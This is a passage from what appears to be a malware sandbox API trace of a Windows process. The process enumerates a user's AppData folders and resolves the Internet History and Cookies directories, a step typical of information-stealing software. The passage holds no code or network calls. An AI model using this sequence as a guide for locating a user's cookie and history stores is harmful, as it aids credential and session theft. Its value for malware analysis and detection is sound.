out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0091.665] GetLastError () returned 0x12 [0091.665] FindClose (in: hFindFile=0x75bb20 | out: hFindFile=0x75bb20) returned 1 [0091.665] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", len=0x35 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned 1 [0091.665] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", len=0x36 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\") returned 1 [0091.665] SysReAllocStringLen (in: pbstr=0x28f584*="microsoft", psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0091.666] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x75b7d0 [0091.666] FindNextFileW (in: hFindFile=0x75b7d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0091.666] GetLastError () returned 0x12 [0091.666] FindClose (in: hFindFile=0x75b7d0 | out: hFindFile=0x75b7d0) returned 1 [0091.666] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows", len=0x3d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows") returned 1 [0091.666] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\", len=0x3e | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\") returned 1 [0091.666] SysReAllocStringLen (in: pbstr=0x28f584*="windows", psz="history", len=0x7 | out: pbstr=0x28f584*="history") returned 1 [0091.666] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\history", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 0x75b7d0 [0091.666] FindNextFileW (in: hFindFile=0x75b7d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 0 [0091.666] GetLastError () returned 0x12 [0091.666] FindClose (in: hFindFile=0x75b7d0 | out: hFindFile=0x75b7d0) returned 1 [0091.667] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", len=0x45 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1 [0091.667] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", len=0x46 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned 1 [0091.667] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", len=0x46 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned 1 [0091.667] SysReAllocStringLen (in: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", len=0x45 | out: pbstr=0x28f880*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1 [0091.667] SysReAllocStringLen (in: pbstr=0x28f884*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", len=0x45 | out: pbstr=0x28f884*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1 [0091.668] SysReAllocStringLen (in: pbstr=0x460614*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\", len=0x46 | out: pbstr=0x460614*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned 1 [0091.668] SHGetFolderPathW (in: hwnd=0x0, csidl=33, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 0x0 [0091.669] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", cchLength=0x47 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies") returned 0x47 [0091.669] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies", len=0x47 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies") returned 1 [0091.669] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.669] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.669] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.669] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0091.670] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="roaming", len=0x7 | out: pbstr=0x470694*="roaming") returned 1 [0091.670] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="microsoft", len=0x9 | out: pbstr=0x4706a0*="microsoft") returned 1 [0091.670] SysReAllocStringLen (in: pbstr=0x4706d0*=0x0, psz="windows", len=0x7 | out: pbstr=0x4706d0*="windows") returned 1 [0091.670] SysReAllocStringLen (in: pbstr=0x4706dc*=0x0, psz="cookies", len=0x7 | out: pbstr=0x4706dc*="cookies") returned 1 [0091.827] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.827] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.827] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.827] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="roaming", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="roamingn0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.827] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoftjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0091.827] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.827] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cookies", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cookiesftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.828] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.828] SysReAllocStringLen (in: pbstr=0x28f874*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f874*="c:\\") returned 1 [0091.828] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.828] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75ba40 [0091.828] FindNextFileW (in: hFindFile=0x75ba40, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.828] GetLastError () returned 0x12 [0091.828] FindClose (in: hFindFile=0x75ba40 | out: hFindFile=0x75ba40) returned 1 [0091.828] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.829] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f874*="c:\\Users\\") returned 1 [0091.829] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.829] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75ba40 [0091.829] FindNextFileW (in: hFindFile=0x75ba40, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.829] GetLastError () returned 0x12 [0091.829] FindClose (in: hFindFile=0x75ba40 | out: hFindFile=0x75ba40) returned 1 [0091.829] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.829] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.829] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0091.829] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x759680 [0091.829] FindNextFileW (in: hFindFile=0x759680, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0091.829] GetLastError () returned 0x12 [0091.829] FindClose (in: hFindFile=0x759680 | out: hFindFile=0x759680) returned 1 [0091.830] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0091.830] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0091.830] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="roaming", len=0x7 | out: pbstr=0x28f584*="roaming") returned 1 [0091.830] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\roaming", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0x75c228 [0091.830] FindNextFileW (in: hFindFile=0x75c228, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0091.830] GetLastError () returned 0x12 [0091.830] FindClose (in: hFindFile=0x75c228 | out: hFindFile=0x75c228) returned 1 [0091.830] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0091.830] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0091.830] SysReAllocStringLen (in: pbstr=0x28f584*="roaming", psz="microsoft", len=0x9 | out: pbstr=0x28f584*="microsoft") returned 1 [0091.830] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\microsoft", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0x75c228 [0091.830] FindNextFileW (in: hFindFile=0x75c228, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0091.831] GetLastError () returned 0x12 [0091.831] FindClose (in: hFindFile=0x75c228 | out: hFindFile=0x75c228) returned 1 [0091.831] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", len=0x37 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned 1 [0091.831] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", len=0x38 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\") returned 1 [0091.831] SysReAllocStringLen (in: pbstr=0x28f584*="microsoft", psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0091.831] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x75bb20 [0091.831] FindNextFileW (in: hFindFile=0x75bb20, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0091.831] GetLastError () returned 0x12 [0091.831] FindClose (in: hFindFile=0x75bb20 | out: hFindFile=0x75bb20) returned 1 [0091.831] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows", len=0x3f | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows") returned 1 [0091.831] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\", len=0x40 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\") returned 1 [0091.831] SysReAllocStringLen (in: pbstr=0x28f584*="windows", psz="cookies", len=0x7 | out: pbstr=0x28f584*="cookies") returned 1 [0091.832] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\cookies", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 0x75bb20 [0091.832] FindNextFileW (in: hFindFile=0x75bb20, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 0 [0091.832] GetLastError () returned 0x12 [0091.832] FindClose (in: hFindFile=0x75bb20 | out: hFindFile=0x75bb20) returned 1 [0091.832] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", len=0x47 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 1 [0091.832] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", len=0x48 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 1 [0091.833] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", len=0x48 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 1 [0091.833] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", len=0x47 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 1 [0091.833] SysReAllocStringLen (in: pbstr=0x28f878*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", len=0x47 | out: pbstr=0x28f878*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 1 [0091.833] SysReAllocStringLen (in: pbstr=0x460618*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", len=0x48 | 